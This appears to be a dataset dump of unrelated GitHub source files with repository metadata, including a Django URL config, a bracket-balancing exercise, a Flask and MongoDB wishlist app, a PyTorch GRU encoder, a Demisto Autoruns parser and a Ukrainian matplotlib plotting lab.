patterns('blog.views',\n url(r'^$', ArticleListView.as_view(), name='blog_index'),\n url(r'^tag/(?P\\d+)/$', TagListView.as_view(), name='tag_index'),\n url(r'^(?P\\d+)/$', ArticleDetailView.as_view(), name='article_detail'),\n url(r'^author/(?P[^/]+)/$', AuthorListView.as_view(), name='author_list'),\n url(r'^feed/$', BlogFeed(), name='blog_rss')\n )\n","repo_name":"garretraziel/jansedlak.cz","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"18131424397","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'isBalanced' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n#\n\n\ndef isBalanced(s):\n # Write your code here\n # s = \"{[()]}\"\n # s = \"({[]})\"\n # s = \"{[(])}\"\n stack = []\n dict_table = {\n '{': '}',\n '(': ')',\n '[': ']',\n }\n\n for i in s:\n if not stack:\n stack.append(i)\n elif i == dict_table.get(stack[-1]):\n stack.pop()\n else:\n stack.append(i)\n\n return \"YES\" if not stack else \"NO\"\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n t = int(input().strip())\n\n for t_itr in range(t):\n s = input()\n\n result = isBalanced(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"snackd/hacker_rank","sub_path":"python/1 Week Preparation Kit/Day 5/balanced_brackets.py","file_name":"balanced_brackets.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"35134795965","text":"from .base import BaseView\n\n\nclass View(BaseView):\n \"\"\"ErrorView\n All errors should be rendered with this view\n \"\"\"\n\n def _with_traceback(self, error):\n if hasattr(error, \"custom\") or not hasattr(error, \"__traceback__\"):\n return\n\n self.add_body(\" \")\n traceback = error.__traceback__\n\n self.add_body(self.center_item(\"-\", \"-\", True))\n\n self.add_body(\"\")\n self.add_body(\"Traceback\")\n self.add_body(\"-------------------\")\n self.add_body(\"\")\n\n while traceback is not None:\n self.add_body(\n f\"File : {traceback.tb_frame.f_code.co_filename}\\n\"\n f\"-- Line : {traceback.tb_lineno}\\n\"\n f\"-- In : {traceback.tb_frame.f_code.co_name}\\n\"\n )\n traceback = traceback.tb_next\n\n def generic_error(self, error, title=None, centered=True):\n \"\"\"Generic error, this will only have a message and a title to display\"\"\"\n self.reset_values()\n\n self.set_title(\"Error Occured\" if not title else title)\n self.set_footer(\"Press enter to continue\")\n\n message = self.center_item(error) if centered else error\n\n self.add_body(message)\n self._with_traceback(error)\n\n self.render_view(wait=True)\n\n def command_not_found(self, command_name, parent_command, commands):\n \"\"\"Error for commands that wasn't found\"\"\"\n self.reset_values()\n\n self.set_title(\"Error Occured\")\n self.set_footer(\"Press enter to continue\")\n\n color_command_name = self.colorize(\"warning\", f\"[{command_name}]\")\n color_parent_command = self.colorize(\"info\", f\"[{parent_command}]\")\n\n with_parent = f\" in {color_parent_command} \" if parent_command else \" \"\n\n message = self.center_item(\n f\"!!! The command {color_command_name} couldn't be found{with_parent}!!!\", is_colored=True\n )\n\n self.add_body(message)\n self.add_body(\"\")\n self.add_body(self.center_item(f\"- List of available commands{with_parent}-\", \"-\"))\n self.add_body(\" \")\n self.show_commands(commands)\n\n self.render_view(wait=True)\n","repo_name":"Madscientiste/OpenClassrooms_P4","sub_path":"app/views/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74424993114","text":"# -*- coding: utf-8 -*-\r\n\r\nimport lib_global as g\r\nfrom sqlalchemy import *\r\nfrom sqlalchemy import MetaData\r\nimport os\r\nimport ConfigParser\r\n\r\nclass Modulo():\r\n def __init__(self):\r\n self.meta = MetaData()\r\n self.meta.bind = g.engine\r\n self._gruppi = [] \r\n self._moduli = {} \r\n UTEGRP = Table('utegrp', self.meta, autoload=True) \r\n GRPMOD = Table('grpmod', self.meta, autoload=True) \r\n MODULO = Table('modulo', self.meta, autoload=True)\r\n #Prendo tutti i moduli e li assegno inizialmente falsi\r\n s = select([MODULO.c.id]).distinct()\r\n s = s.where(MODULO.c.iseliminato==None)\r\n rs = s.execute()\r\n for row in rs:\r\n self._moduli[row.id] = False \r\n # leggo gruppi di appartenenza\r\n s = select([UTEGRP.c.idgruppo]).distinct()\r\n s = s.where(and_(UTEGRP.c.idutente==g.idutente, UTEGRP.c.iseliminato==None))\r\n rs = s.execute()\r\n for row in rs:\r\n self._gruppi.append(row.idgruppo) \r\n # controllo abilitazioni per gruppo\r\n s = select([GRPMOD.c.idmodulo, MODULO.c.abilitato]).distinct()\r\n s = s.where(GRPMOD.c.idgruppo.in_(self._gruppi))\r\n s = s.where(GRPMOD.c.idmodulo==MODULO.c.id)\r\n s = s.where(GRPMOD.c.iseliminato==None)\r\n rs = s.execute()\r\n for row in rs:\r\n self._moduli[row.idmodulo] = row.abilitato \r\n \r\n def abilitato(self, id):\r\n m = self._moduli[id]\r\n return m\r\n\r\nclass Config():\r\n def __init__(self):\r\n meta = MetaData()\r\n meta.bind = g.engine\r\n t = Table('config', meta, autoload=True)\r\n s = t.select().order_by(t.c.id)\r\n rs = s.execute()\r\n row = rs.fetchall\r\n for row in rs:\r\n self._config[row.id] = row.config\r\n\r\n def value(self, id):\r\n m = self._config[id]\r\n return m[0]\r\n\r\n\r\nclass LocalCfg():\r\n def __init__(self):\r\n self.cfgfile = 'appdata\\\\'+ g.appname + \".cfg\"\r\n\r\n def put_user(self, user):\r\n config = ConfigParser.RawConfigParser()\r\n config.add_section('Start')\r\n config.set('Start', 'user', user)\r\n with open(self.cfgfile, 'wb') as configfile:\r\n config.write(configfile)\r\n\r\n def get_user(self):\r\n try:\r\n if os.path.isfile(self.cfgfile):\r\n config = ConfigParser.RawConfigParser()\r\n config.read(self.cfgfile)\r\n user = config.get(\"Start\", \"User\")\r\n else:\r\n user = os.getenv(\"USERNAME\", \"Administrator\")\r\n except:\r\n user = os.getenv(\"USERNAME\", \"Administrator\")\r\n return user\r\n\r\n def get_sqlserver(self):\r\n try:\r\n if os.path.isfile(self.cfgfile):\r\n config = ConfigParser.RawConfigParser()\r\n config.read(self.cfgfile)\r\n dsn = config.get(\"SqlServer\", \"dsn\")\r\n else:\r\n dsn = g.appname\r\n except:\r\n dsn = g.appname\r\n return dsn\r\n\r\n def put_sqlserver(self, dsn):\r\n config = ConfigParser.RawConfigParser()\r\n config.add_section(\"SqlServer\")\r\n config.set(\"SqlServer\", \"dsn\", dsn)\r\n with open(self.cfgfile, 'wb') as configfile:\r\n config.write(configfile)","repo_name":"lzac/Cazzaniga","sub_path":"lib/lib_config.py","file_name":"lib_config.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6339341263","text":"import demistomock as demisto # noqa: F401\nfrom CommonServerPython import * # noqa: F401\n\nrespAR = demisto.executeCommand('D2Autoruns', {'using': demisto.args()['system']})\nif isError(respAR[0]):\n demisto.results(respAR)\nelse:\n hashes = []\n try:\n try:\n lines = respAR[0]['Contents'][2:].decode('utf-16').encode('ascii').split('\\r\\n')\n except Exception:\n lines = respAR[0]['Contents'].split('\\r\\n')\n headers = lines[5].replace('\\t', '|')\n try:\n hashCol = headers.split('|').index('MD5')\n except ValueError:\n hashCol = -1\n mdTable = headers + '\\n'\n mdTable += '|'.join('---' * len(headers.split('|'))) + '\\n'\n for line in lines[6:]:\n if hashCol > -1:\n cells = line.split('\\t')\n if hashCol < len(cells) and cells[hashCol].strip():\n hashes.append(cells[hashCol])\n mdTable += line.replace('\\t', '|') + '\\n'\n if hashes:\n appendContext('md5s', ', '.join(hashes), dedup=True)\n demisto.results({'Type': entryTypes['note'], 'ContentsFormat': formats['markdown'], 'Contents': mdTable})\n except Exception as ex:\n contents = \"Error occurred while parsing output from D2Autoruns:\\n\"\n contents += str(ex) + '\\n\\nAutoruns output:\\n' + respAR[0]['Contents']\n demisto.results({'Type': entryTypes['error'], 'ContentsFormat': formats['text'],\n 'Contents': contents})\n","repo_name":"demisto/content","sub_path":"Packs/D2/Scripts/Autoruns/Autoruns.py","file_name":"Autoruns.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"50"} +{"seq_id":"28539618053","text":"N = int(input())\nlist = list(map(int, input().split()))\n\nlist.sort()\nresult = 0\n\nfor i in range(0, N) :\n sum = 0\n for j in range(0, i+1) :\n sum += list[j]\n result += sum \n\nprint(result)","repo_name":"swdevsw98/algorithm_python","sub_path":"greedy/11399.py","file_name":"11399.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32050493188","text":"# Blueprint를 이용하면 플라스크 app의 모든 url을 한 곳에서 관리하지 않아도 됨\n# 여러곳에 뿌려진 url의 정의를 수집하여 한 곳을 모아줌\n\nfrom flask import Blueprint, redirect, render_template, request, flash, url_for, jsonify\nfrom flask_login import login_required, current_user\nfrom .models import Note, Wishlist, Comment\nfrom . import db\nfrom bson import ObjectId\nfrom bson import json_util\n# 뷰를 정의하여 보여질 페이지와 경로를 정의\n# '클라이언트 요청 > 서버의 응답'을 과정을 세부적이게 구현할 필요가 없음\nviews = Blueprint('views', __name__)\n\n\n@views.route('/index')\n@login_required\ndef index():\n return render_template('index.html')\n\n\n@views.route('/', methods=['GET', 'POST'])\ndef get_post(post_id):\n post = db.wishlist.find_one({'_id': ObjectId(post_id)}, {'_id': False})\n post['date']=str(post['mydate']).split(' ')[0]\n comments = list(db.comments.find({'post_id': post_id}, {'_id': False}))\n for co in comments:\n date = str(co['mydate']).split(' ')[0]\n co['date'] = date\n return render_template('detail.html', post=post, comments=comments, post_id=post_id)\n\n\n@views.route('/create_comment', methods=['POST'])\ndef save_comment():\n comments = request.form['comment']\n post_id = request.form['post_id']\n new_list = Comment(comment=comments,\n post_id=post_id,\n email=current_user.email,\n nickname=current_user.nickname,\n )\n new_list.save()\n flash(\"댓글 생성 완료\", category=\"success\")\n return redirect(url_for('views.get_post', post_id=post_id))\n\n\n@views.route('/', methods=['GET', 'POST'])\ndef wishlist():\n if request.method == \"POST\":\n # wishlist_give찾음 wishlist_receive라는 변수에 넣고 print하고 msg 전달하고 -> index.html\n inputGroupSelect01 = request.form['inputGroupSelect01_give']\n mypostit = request.form['mypostit_give']\n myoneline = request.form['myoneline_give']\n floatingTextarea = request.form['floatingTextarea_give']\n myurl = request.form['myurl_give']\n mydate = request.form['mydate_give']\n\n # 유효성 검사\n if len(mypostit) < 1 or len(myoneline) < 1:\n flash(\"제목 또는 한줄다짐 내용이 없습니다. 1자 이상 적어주세요.\", category=\"error\")\n elif len(floatingTextarea) > 300:\n flash(\"내용이 너무 깁니다. 300자 이내로 작성해주세요.\", category=\"error\")\n else:\n new_list = Wishlist(inputGroupSelect01=inputGroupSelect01,\n mypostit=mypostit,\n myoneline=myoneline,\n floatingTextarea=floatingTextarea,\n myurl=myurl,\n mydate=mydate,\n email=current_user.email,\n nickname=current_user.nickname,\n )\n new_list.save()\n flash(\"메모 생성 완료\", category=\"success\")\n return redirect(url_for('views.wishlist'))\n\n return render_template('home.html')\n\n\n@views.route(\"/wishlist\", methods=[\"GET\"])\n@login_required\ndef wishlist_get():\n all_wishlists = list(db.wishlist.find({}))\n for wishlist in all_wishlists:\n wishlist['post_id'] = str(wishlist['_id'])\n if (wishlist['myurl'] == \"\"):\n wishlist['myurl'] = \"https://previews.123rf.com/images/yayayoy/yayayoy1511/yayayoy151100006/48394424-%EC%9B%83%EB%8A%94-%EB%88%88%EA%B3%BC-%EC%9E%A5%EB%AF%B8-%EB%B9%9B-%EB%BA%A8%EA%B3%BC-%EC%9D%B4%EB%AA%A8%ED%8B%B0%EC%BD%98-%EB%AF%B8%EC%86%8C.jpg\"\n date = str(wishlist['mydate']).split(' ')[0]\n wishlist['mydate'] = date\n return json_util.dumps({'result': all_wishlists})\n\n\n######################################################\n@views.route('/memo', methods=['GET', 'POST'])\n@login_required\ndef memo():\n # POST : 메모 생성\n if request.method == \"POST\":\n title = request.form['note-title']\n content = request.form['note-content']\n\n # 유효성 검사\n if len(title) < 1 or len(content) < 1:\n flash(\"제목 또는 내용이 없습니다.\", category=\"error\")\n elif len(title) > 50:\n flash(\"제목이 너무 깁니다. 50자 이내\", category=\"error\")\n elif len(content) > 2000:\n flash(\"내용이 너무 깁니다. 2000자 이내\", category=\"error\")\n else:\n # note 인스턴스 생성 -> DB에 저장\n new_note = Note(title=title,\n content=content,\n email=current_user.email)\n new_note.save()\n flash(\"메모 생성 완료\", category=\"success\")\n return redirect(url_for('views.memo'))\n\n notes = list(db.notes.find({'email': current_user.email}))\n for note in notes:\n note['note_id'] = str(note['_id'])\n return render_template('memo.html', notes=notes)\n\n\n@views.route('/memo/delete-note', methods=['POST'])\ndef delete_note():\n # POST : 메모 삭제\n if request.method == \"POST\":\n note = request.get_json()\n note_id = note.get('noteId')\n # 노트를 삭제합니다.\n db.notes.delete_one({\"_id\": ObjectId(note_id)})\n return jsonify({})\n # select_note = Note.query.get(note_id)\n # if select_note:\n # if select_note.email == current_user.email :\n # db.note.delete_one({'_id':note_id})\n # return jsonify({})\n\n # return render_template('memo.html')\n","repo_name":"raoneli1013/minipj","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5232984687","text":"import torch as t\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\n\nclass Encoder(nn.Module):\n\n def __init__(self,\n input_size,\n hidden_size,\n num_layers=2,\n bidirectional=False,\n dropout=0):\n super().__init__()\n\n self.bidirectional = bidirectional\n\n # bi_hidden_size = 2 * uni_hidden_size\n if bidirectional:\n assert hidden_size % 2 == 0\n hidden_size = hidden_size // 2\n else:\n hidden_size = hidden_size\n\n self.rnn = nn.GRU(\n input_size=input_size,\n hidden_size=hidden_size,\n num_layers=num_layers,\n bidirectional=bidirectional,\n dropout=(0 if num_layers == 1 else dropout),\n batch_first=True\n )\n\n def forward(self,\n inputs,\n length):\n \"\"\"\n\n :param self:\n :param inputs:[batch_size, seq_len, input_size]\n :param length:[batch_size]\n :return:outputs: [batch_size, seq_len, hidden_size]\n final_state: [num_layers, batch_size, hidden_size]\n \"\"\"\n\n # !!!固定格式,传入网络前,先pack后pad\n inputs = pack_padded_sequence(inputs, length, enforce_sorted=False, batch_first=True)\n outputs, final_state = self.rnn(inputs)\n outputs, _ = pad_packed_sequence(outputs, batch_first=True)\n #output = pad_packed_sequence(output, batch_first=True)[0]\n\n #如果是双向的, output=[batch_size, seq_len, hidden_size*2]\n #final_state=[2*num_layers, batch_size, hidden_size]\n if self.bidirectional:\n final_state_forward = final_state[0::2, :, :]\n final_state_backward = final_state[1::2, :, :]\n\n final_state = t.cat([final_state_forward, final_state_backward], dim=2)\n\n return outputs, final_state\n\n","repo_name":"KevinYoung98/Seq2Seq-PyTorch","sub_path":"models/Encoder.py","file_name":"Encoder.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"70477654557","text":"from configparser import ConfigParser\n\n\nclass Configuration:\n MODE_VERBOSE = \"verbose\"\n MODE_TEST = \"test\"\n KEYWORD_MODE = \"mode\"\n KEYWORD_MODEL = \"model\"\n KEYWORD_MAX_DEPTH = \"max_depth\"\n KEYWORD_NUMBER_OF_TREES = \"num_trees\"\n KEYWORD_FEATURE_RATIO = \"feature_ratio\"\n KEYWORD_EXAMPLE_RATIO = \"example_ratio\"\n\n DEFAULT_MAX_DEPTH = -1 # (inf)\n DEFAULT_NUMBER_OF_TREES = 1\n DEFAULT_FEATURE_RATIO = 1\n DEFAULT_EXAMPLE_RATIO = 1\n\n def __init__(self, dict):\n self.mode = dict.get(self.KEYWORD_MODE)\n self.model = dict.get(self.KEYWORD_MODEL)\n self.max_depth = int(dict.get(self.KEYWORD_MAX_DEPTH, self.DEFAULT_MAX_DEPTH))\n self.num_trees = int(dict.get(self.KEYWORD_NUMBER_OF_TREES, self.DEFAULT_NUMBER_OF_TREES))\n self.feature_ratio = float(dict.get(self.KEYWORD_FEATURE_RATIO, self.DEFAULT_FEATURE_RATIO))\n self.example_ratio = float(dict.get(self.KEYWORD_EXAMPLE_RATIO, self.DEFAULT_EXAMPLE_RATIO))\n\n @staticmethod\n def from_path(path):\n cfg = ConfigParser()\n cfg.read_string(\"[CONFIG]\\n\" + open(path).read())\n return Configuration(dict(cfg[\"CONFIG\"].items()))\n\n def is_verbose_mode(self):\n return self.mode == self.MODE_VERBOSE\n\n def is_test_mode(self):\n return self.mode == self.MODE_TEST\n","repo_name":"m43/fer-ui","sub_path":"lab3/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"26228563811","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\ndef title():\n return \"Лабораторна робота №7\\n\" \\\n \"студент групи\\n\" \\\n \"\\n\" \\\n \"Умова. Програма може побудувати графік функції або площину\\n\" \\\n \"З необхідними параметрами, які введе користувач.\\n\"\n\n\nclass Graph:\n \"\"\"\n Створюємо клас, який має основну функцію - побудова графіка.\n * self означає що перемінні та функції знаходяться на рівні класу\n \"\"\"\n def __init__(self):\n \"\"\"\n Створюємо змінну, яку будемо використувувати для друку лінії в меню\n \"\"\"\n self.coordinate = []\n self.move = \"*\"*60\n\n\n def __str__(self):\n \"\"\"\n Функція розповідає основну задачу класу\n :return: str\n \"\"\"\n return \"Програма будує графік, які введе користувач\"\n\n\n def start_finish(self):\n \"\"\"\n Функція запитує у користувача, які межі та крок графіка він хоче отримати\n Для цього є відповідні умови\n 1 - перша точка має бути меншою за другу\n 2 - 3 значення (крок) має бути більшим за нуль та більшим за різницю двох попередніх точок\n Якщо умова виконується, то повертаємо значення, якщо ні, то користувач повторно вводить значення\n :return:\n \"\"\"\n print(self.move)\n print(\"На даному етапі необхідно обрати початок, та кінець графіка\\n\"\n \"Наприклад: -2 2 0.1\\n\"\n \"Відповідно \\n\"\n \"- перша точка має бути меншою за другу\\n\"\n \"- третє число має бути більшим за нуль та меншим за різницю попередніх чисел\\n\")\n border = input(\"--> \").split() # перетворюємо значення, які введе користувач у тип list\n\n new_border = [] # сюди збе��ігає значення\n\n # перевірка\n if len(border) == 3:\n for i_dot in border:\n if self.is_float(i_dot): # функція is_float перевіряє чи є значення, яке ввів користувач числом\n new_border.append(float(i_dot)) # зберігаємо це значення в наш список\n else:\n print(f\"Це значення містить символ, які не є числом - {i_dot}\")\n return self.start_finish() # повторна спроба\n # перевірка умови програми\n if new_border[1] - new_border[0] > new_border[2] > 0 and new_border[0] < new_border[1]:\n return tuple(new_border)\n # якщо якось з умов не виконалась, то починаємо спочатку\n print(\"Помилка! Слідкуйте за вказівками\")\n return self.start_finish()\n\n\n def is_float(self, num):\n \"\"\"\n Функція перевіряє чи є значення числом\n :param num: str\n :return: bool\n \"\"\"\n # Структура (try - except) дає можливість спробувати виконати програму, якщо буде помилка\n # то програма про це попередить.\n try:\n float(num)\n return True\n except:\n return False\n\n\n def color_line(self):\n \"\"\"\n Функція запитує у користувача, який колір він хоче отримати для графіка.\n :return: str (колір графіка)\n \"\"\"\n print(self.move)\n print(\"Зараз необхідно обрати колір, який є в програмі\")\n # створюємо словник, де зберігаються всі можливі варіанти кольорів\n colors = {\n \"k\": \"чорний\",\n \"y\": \"жовтий\",\n \"b\": \"синій\",\n \"g\": \"зелений\",\n \"r\": \"червоний\",\n \"c\": \"блакитний\",\n \"m\": \"фіолетовий\",\n }\n print(\"Ви можете обрати такі кольори!\")\n # цикл для виведення всіх кольорів\n for i_key in colors.keys():\n print(f\"\\t{i_key} => {colors[i_key]}\")\n print(\"Оберіть колір: \")\n user_color = input(\"--> \").lower().strip()\n # цикл для пошуку кольору, який введе користувач\n if user_color in colors.keys():\n print(f\"Ви обрали - {user_color} колір\")\n return user_color\n else:\n print(\"Такого кольору немає! Спробуйте ще раз.\")\n return self.color_line()\n\n\n def line_view(self):\n \"\"\"\n Функція дає можливість обрати інший вид прямої\n :return: str (тип прямої)\n \"\"\"\n print(self.move)\n print(\"Чи хочете ви обрати інший вид прямої (стандарт це пряма)\\n\"\n \"Введіть 'так' або 'ні' \")\n choice_kind = input(\"--> \").lower().strip()\n # Якщо користувач не хоче змінити пряму, то відповідно лінія буде у вигляді суцільної лінії\n if choice_kind == \"ні\":\n return \"\"\n # якщо користувач хоче змінити пряму, то він має обрати, яка саме буде ця пряма\n elif choice_kind == \"так\":\n\n print(\"Який вид прямої ви хочете мати\")\n type_line = {\"--\": \"штрих-пунктирна лінія\",\n \"-\": \"пунктирна лінія\"}\n for i_key in type_line:\n print(f\"\\t{i_key} -> {type_line[i_key]}\")\n choice_line = input(\"--> \")\n # пошук такої прямої в словнику прямих\n if choice_line in type_line:\n return \"{line}\".format(line=choice_line)\n # якщо таких прямих не знайдено, то програма запропонує ще одну спробу\n else:\n print(\"Ви ввели не те значення!\")\n return self.line_view()\n\n\n def do_you_need_point(self):\n \"\"\"\n Функція запитує чи потрібно змінювати тип та колір точок\n :return: bool\n \"\"\"\n print(self.move)\n print(\"Чи хочете ви обрати інший вид точки\\n\"\n \"Введіть 'так' або 'ні' \")\n user_value = input(\"--> \") # значення, яке вводить користувач\n if user_value == \"так\": # якщо він хоче змінити точку\n return True # повертаємо значення\n elif user_value == \"ні\": # якщо він не хоче змінити точку\n return False # повертаємо значення\n # Якщо значення не пройшло перевірку, то користувач повторно вводить значення\n print(\"Програма вас не розуміє, спробуйте ще раз\")\n return self.do_you_need_point() # повертаємо цю саму функцію, для ще однієї спроби\n\n\n def type_point(self):\n \"\"\"\n Функція пропонує користувачу обрати тип точки, який наведений в програмі\n :return: str (тип точки)\n \"\"\"\n print(self.move)\n print(\"Ви хочете змінити формат точки. Є такі варіанти\")\n # словник з точками, які можуть бути в програмі\n point = {\"*\": \"зірка\",\n \"^\": \"трикутник\",\n \"s\": \"квадрат\",\n \"o\": \"коло\"}\n # показуємо ці значення користувачу\n for i_key in point.keys():\n print(f\"\\t{i_key}-{point[i_key]}\")\n # користувач вводить значення (вид точки)\n user_point_type = input(\"--> \")\n # перевірка чи є такий вид точки в програмі\n if user_point_type in point.keys():\n print(f\"Тепер ваша точка виглядає як {point[user_point_type]}\")\n return user_point_type # якщо така точка існує, то повертаємо її\n else:\n print(\"Програма вас не зрозуміла, спробуйте ще раз!\") # якщо такої точки не існує, то користувач повторно вводить значення\n return self.type_point()\n\n\n def equation_line(self, num):\n \"\"\"\n Функція рахує математичну функцію\n :param num: float\n :return: num\n \"\"\"\n try:\n return np.sin(num)\n except:\n # якщо така формула не може бути побудована, то програма терміново закривається\n print(\"Помилка у формулі. Перезавантажте програму.\")\n return sys.exit()\n\n\n def math_line(self):\n \"\"\"\n Функція будує графік за допомогою бібліотеки matplotlib\n :return: побудову графіка\n \"\"\"\n print(self.move)\n border = self.start_finish() # отримуємо границю та крок графіка\n color = self.color_line() # отримуємо колір графіка\n type_line = self.line_view() # отримуємо тип прямої\n line_func = f\"{color}{type_line}\" # лінія та колір прямої\n\n need_dots =self.do_you_need_point() # запитуємо чи хоче користувач змінити вид точки\n if need_dots:\n point = self.type_point() # отримуємо значення точки\n print(\"Оберіть колір для точок графіка\")\n color_dots = self.color_line() # отримуємо колір точки\n dot = f\"{color_dots}{point}\" # тип та колір точки\n else:\n dot = \"ko\" # якщо користувач не захотів змінити точку, то записуємо точку як чорне коло\n\n # створюємо особливий тип, який зберігає всі значення які необхідні для побудови\n length = np.arange(*border)\n # початок побудови\n plt.figure()\n # називаємо графік та осі\n plt.title(\"Графік функції\")\n plt.ylabel(\"Вісь Оy\")\n plt.xlabel(\"Вісь Оx\")\n # Також додаємо сітку для графіка\n plt.grid(True)\n # Робимо вікно з графіком великого розміру\n plt.subplot(111)\n # малюємо пряму\n plt.plot(length, self.equation_line(length), line_func,\n label=\"Функція\",)\n # малюємо точки\n plt.plot(length, self.equation_line(length), dot, label=\"точки функції\")\n # показуємо додаткові значення для графіка\n plt.legend()\n # відкриття вікна з графіком\n plt.show()\n\n\nclass Space:\n \"\"\"\n Клас який містить фунеції для побудови площини\n \"\"\"\n def __init__(self):\n \"\"\"\n створюємо константу, яку будемо використовувати, для того щоб розділяти пункти при вводі\n \"\"\"\n self.move = \"*\"*60\n\n\n def __str__(self):\n \"\"\"\n Коротка відомість програми\n :return: str\n \"\"\"\n return \"Зараз необхідно обрати параметри для побудови площини!\"\n\n\n def details(self):\n \"\"\"\n Програма запитує у користувачи чи потрібно деталізувати графік\n :return: bool\n \"\"\"\n print(self.move) # друкує лінію\n print(\"Чи хочете, щоб ваш графік був краще деталізованим? (+|-)\")\n value = input(\"--> \").strip() # користувач вводить значення та перетворюємо у тип (список)\n if value == \"+\": # якщо користувач хоче додатково деталізувати графік\n return True\n elif value == \"-\": # якщо користувач не хоче додатково деталізувати графік\n return False\n else: # якщо користувач ввів не те що потрібно, то почати спочатку\n return self.details()\n\n\n def space(self):\n \"\"\"\n побудова площини з необхідними параметроми та функціями\n :return: побудова площини\n \"\"\"\n print(self.move)\n plane = plt.figure() # створюємо нову перемінну plane\n space_build = plane.add_subplot(projection='3d') # створюємо макет для побудови\n\n coordinate_x, coordinate_y, coordinate_z = self.equation_space() # отримуємо координати точок\n\n color = self.color_space() # отримуємо колір\n\n shade = self.shadow() # тінь\n\n alpha = self.transparency() # отримуємо прозорість площини\n\n detail = self.details() # отримуємо деталізацію графіка\n space_build.plot_surface(\n coordinate_x, coordinate_y, coordinate_z, linewidth=0,\n cmap=color, shade=shade, alpha=alpha, antialiased=detail)\n print(\"для того, щоб скористатися програмою повторно, закрийте вікно з графіком\")\n plt.show()\n\n def begin_end_space(self):\n \"\"\"\n Початок та кінець графіка та крок графіка площини відповідних осей\n :return: tuple\n \"\"\"\n print(self.move)\n print(\"Зараз вам необхідно обрати початок координат для осей.\\n\"\n \"Початок. Кінець. Крок\\n\"\n \"Наприклад\\n\"\n \"-10 10 100\")\n int_num = input(\"--> \") # користувач вводить значення\n list_num = int_num.split() # перетворюємо це значення в типlist\n list_int_num = [] # створюємо пустий список, куди будемо зберігати значення\n # перевірка\n if len(list_num) == 3:\n for i_num in list_num:\n try:\n list_int_num.append(int(i_num))\n except:\n print(f\"Ви допустили помилку. Ви ввели - {i_num}. Спробуйте ще раз!\")\n return self.begin_end_space()\n else:\n print(\"Помилка. Повторна спроба!\")\n return self.begin_end_space()\n # перевірка значень, які вказані нижче\n if list_int_num[0] < list_int_num[1] and list_int_num[2] > 0:\n return tuple(list_int_num)\n print(\"Помилка. Повторна спроба!\")\n return self.begin_end_space()\n\n def equation_space(self):\n \"\"\"\n Функція опрацьовує значення та повертає математичну функцію\n :return:\n \"\"\"\n try:\n # змінна x\n start, end, step = self.begin_end_space() # межі графіка по x\n ox = np.linspace(start, end, step)\n # змінна y\n start, end, step = self.begin_end_space() # межі графіка по y\n oy = np.linspace(start, end, step)\n\n # утворюємо площину з кординатами x та y\n ox, oy = np.meshgrid(ox, oy)\n # змінна z\n\n oz = np.sin(ox) + np.sin(oy)\n\n return ox, oy, oz\n except:\n print(\"Помилка у формулі. Перевірте чи правиль ви все ввели!!! Та перезавантажте програму.\")\n return sys.exit()\n\n\n def color_space(self):\n \"\"\"\n Фунція запитує, який колір буде у площини\n :return: str (колір)\n \"\"\"\n print(self.move)\n print(\"Оберіть колір\")\n\n color_list = [\"viridis\", \"plasma\", \"magma\", \"inferno\", \"cividis\"] # список всіх кольорів\n for i_color in color_list:\n print(f\"\\t{i_color}\")\n # введення необхідної інформації, тобто кольорів, які зазначенні вище\n color = input(\">>> \")\n # перевірка\n if color in color_list:\n return color\n print(\"Ви обрали не той колір, який доступний в програмі!. Спробуйте ще раз.\")\n # почати спочатку, бо відбулась помилка\n return self.color_space()\n\n\n def shadow(self):\n \"\"\"\n Функція запитує чи потрібні тіні для площини\n :return: bool\n \"\"\"\n print(self.move)\n print(\"Чи потрібні тіні? (Введіть '+' або '-')\")\n # введення необхідної інформації + або -\n shade = input(\"> \")\n # перевірка вводу\n if shade == \"+\":\n return True\n elif shade == \"-\":\n return False\n print(\"Ви допустили помилку у вводі, слідкуйте за вказівками на екрані! Спробуйте ще раз.\")\n return self.shadow()\n\n\n def transparency(self):\n \"\"\"\n Функція запитує, яка буде прозорість у площини. Можливі варіанти від 1 до 10\n :return:\n \"\"\"\n print(self.move)\n print(\"Оберіть від 1 до 10 як буде намальовий графік:\\n\"\n \"\\t1 - напівпрозоро\\n\"\n \"\\t10 - повністю залитий\")\n # введення необхідної інформації від 1 до 10, цілі числа\n alpha = input(\"> \")\n # перевірка\n if alpha.isnumeric():\n if 10 >= int(alpha) >= 1:\n # якщо все правильно, то повертаємо десяткове число від даного\n return int(alpha) * 0.1\n # почати спочатку, бо відбулась помилка\n return self.transparency()\n\ndef user_input():\n \"\"\"\n Функція перевіряє чи правильно ввів користувач значення, можливі значення 0, 1, 2. Якщо ця умова не виконується,\n функція починається з самого початку.\n :return:\n \"\"\"\n print(\"Введіть значення, якщо\\n\"\n \"\\t0 - хочете вийти з програми\\n\"\n \"\\t1 - хочете 